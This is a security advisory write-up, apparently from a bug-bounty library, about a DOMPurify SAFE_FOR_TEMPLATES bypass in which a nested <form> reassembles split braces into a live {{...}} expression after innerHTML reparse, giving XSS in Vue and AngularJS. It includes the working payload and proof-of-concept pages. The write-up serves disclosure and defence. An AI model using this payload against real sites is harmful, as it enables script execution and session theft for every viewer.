# DOMPurify SAFE_FOR_TEMPLATES bypass: nested <form> makes a template expression reassemble when sanitized output is reparsed

DOMPurify SAFE_FOR_TEMPLATES misses nested <form> that reassembles split braces into a live {{...}} expression on innerHTML reparse, yielding XSS in Vue/AngularJS.

- Payout: Research
- Severity: high
- Program: DOMPurify
- Found by: e1abrador
- Disclosed: 2026-12-03
- CVE: CVE-2026-144292
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-hrxw-jjj6-2g2j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hrxw-jjj6-2g2j
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:parser-differential technique:source-review vuln:xss

**Target:** DOMPurify sanitize() with SAFE_FOR_TEMPLATES, consumed by client-side template engines
**Root cause:** SAFE_FOR_TEMPLATES scrubs text nodes on DOMPurify's own tree and checks the serialized string for {{/}}, but the output is not stable under a second parse: a nested <form> is dropped on reparse, merging adjacent brace fragments into one text node.
**Steps:**
1. Sanitize `<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}` with `{ SAFE_FOR_TEMPLATES: true }`.
2. First parse: `</form>` clears the form pointer while `<div>` is open, so the second `<form>` nests inside `<div>`; braces live in three separate text nodes, so per-node scrub finds no `{{`/`}}`.
3. Serialized output `<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>` has no `{{`/`}}`, so TMPL_MARKER_SERIALIZED post-serialization scrub is skipped.
4. Assign output to `innerHTML`: parser ignores the inner `<form>` start tag, fragments merge into one text node `{{constructor.constructor('alert(1)')()}}`.
5. Template engine (Vue 3 in-DOM, AngularJS 1.8.3) compiles the DOM and evaluates the expression, executing `alert(1)`.
**How found:** Reasoned that SAFE_FOR_TEMPLATES is enforced on DOMPurify's tree and on the serialized string, but the consumer reparses the output; looked for HTML constructs where serialize-then-parse changes text-node adjacency, finding nested <form> (parser drops the inner form start tag) splits and rejoins brace fragments.
**Exploitation:** Attacker submits markup to any field rendered via DOMPurify with SAFE_FOR_TEMPLATES and then assigned to innerHTML under a client-side template engine; the reassembled expression executes in the page origin for every viewer, enabling session theft and victim actions.
**Insight:** When a sanitizer's guarantee is checked pre-serialization, hunt for parser states where reparse changes node adjacency or drops tags (nested forms, misnested formatting elements) so split dangerous tokens reassemble; test the sanitized string by reparsing it, not just inspecting it.

## Proof of concept (copied exactly from the original report)

**Minimal sanitize-then-innerHTML check**

```
const clean = DOMPurify.sanitize(
  "<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}",
  { SAFE_FOR_TEMPLATES: true }
);
// clean === "<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>"

const div = document.createElement('div');
div.innerHTML = clean;
// div.textContent === "{{constructor.constructor('alert(1)')()}}"  (single text node)
```

**End-to-end Vue/AngularJS PoC page**

```
<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/dompurify@3.4.18/dist/purify.js"></script>
<script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
  const log = (m) => (document.getElementById('log').textContent += m + '\n');
  window.xss = (tag) => log('EXECUTED: ' + tag);
  const cfg = { SAFE_FOR_TEMPLATES: true };
  const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`;
  log('DOMPurify ' + DOMPurify.version);

  // Vue 3 (in-DOM template)
  const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg);
  log('vue clean: ' + cleanVue);
  document.querySelector('#vue-host .comment').innerHTML = cleanVue;
  Vue.createApp({}).mount('#vue-host');

  // AngularJS 1.8.3
  const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg);
  log('ng clean : ' + cleanNg);
  document.querySelector('#ng-host .comment').innerHTML = cleanNg;
  angular.bootstrap(document.getElementById('ng-host'), []);
</script>
```

